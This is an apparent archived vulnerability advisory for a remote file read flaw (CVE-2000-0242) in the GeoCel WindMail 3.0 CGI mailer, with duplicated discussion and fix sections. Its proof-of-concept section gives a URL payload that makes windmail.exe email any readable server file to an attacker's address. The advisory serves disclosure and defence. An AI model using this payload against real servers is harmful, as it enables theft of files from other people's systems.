GeoCel WindMail Remote File Read Vulnerability
BID:1073
Info
GeoCel WindMail Remote File Read Vulnerability
| Bugtraq ID: | 1073 |
| Class: | Configuration Error |
| CVE: |
CVE-2000-0242 |
| Remote: | Yes |
| Local: | Yes |
| Published: | Mar 27 2000 12:00AM |
| Updated: | Jul 11 2009 01:56AM |
| Credit: | Reported to Security Focus on March 27, 2000 by Quan Peng <[email protected]>. |
| Vulnerable: |
GeoCel WindMail 3.0 |
| Not Vulnerable: | |
Discussion
GeoCel WindMail Remote File Read Vulnerability
WindMail is a command-line mailer that can be integrated with perl cgi applications to create form-mail capability for a website.
WindMail 3.0 and possibly previous versions can be used to retrieve any ascii file that the webserver has read access to, provided the path and filename is known to the attacker. If the attacker has write access anywhere on the system and can determine the path to the writable directory, any file whether ascii or binary can be retrieved.
WindMail operates in two modes: "command line" and "header parsing".
In command line mode, all delivery options are specified at the command line as switch values, and the -n switch specifies a file name to send as the message body. In this mode, an attacker can specify any file that the webserver has read access to, and an email address to send that file to.
In header parsing mode, a file is specified with the -n switch that contains a set of headers at the beginning of the file, separated from the message body by a single blank line. Therefore, if an attacker can create a file on the system that includes an 'Attach:' header, they can then specify that file with the -n switch and wait for the file listed in the 'Attach' header to arrive via email.
WindMail is a command-line mailer that can be integrated with perl cgi applications to create form-mail capability for a website.
WindMail 3.0 and possibly previous versions can be used to retrieve any ascii file that the webserver has read access to, provided the path and filename is known to the attacker. If the attacker has write access anywhere on the system and can determine the path to the writable directory, any file whether ascii or binary can be retrieved.
WindMail operates in two modes: "command line" and "header parsing".
In command line mode, all delivery options are specified at the command line as switch values, and the -n switch specifies a file name to send as the message body. In this mode, an attacker can specify any file that the webserver has read access to, and an email address to send that file to.
In header parsing mode, a file is specified with the -n switch that contains a set of headers at the beginning of the file, separated from the message body by a single blank line. Therefore, if an attacker can create a file on the system that includes an 'Attach:' header, they can then specify that file with the -n switch and wait for the file listed in the 'Attach' header to arrive via email.
Exploit / POC
GeoCel WindMail Remote File Read Vulnerability
To retrieve any known ascii file from the target webserver, enter a URL like:
http: //target/cgi-bin/windmail.exe?%20-n%20desired.file%20attacker_email_address
To retrieve any known ascii file from the target webserver, enter a URL like:
http: //target/cgi-bin/windmail.exe?%20-n%20desired.file%20attacker_email_address
Solution / Fix
GeoCel WindMail Remote File Read Vulnerability
Solution:
This is a configuration error on the part of the administrator.
Set up the webserver to run under an account that only has read access to files that are meant to be publicly accessed.
OR
Configure the webserver so that windmail.exe is not in a browseable directory, and ensure that the CGI calling windmail.exe parses input securely.
Solution:
This is a configuration error on the part of the administrator.
Set up the webserver to run under an account that only has read access to files that are meant to be publicly accessed.
OR
Configure the webserver so that windmail.exe is not in a browseable directory, and ensure that the CGI calling windmail.exe parses input securely.
References
GeoCel WindMail Remote File Read Vulnerability
References:
References:
- WindMail home page (GeoCel International)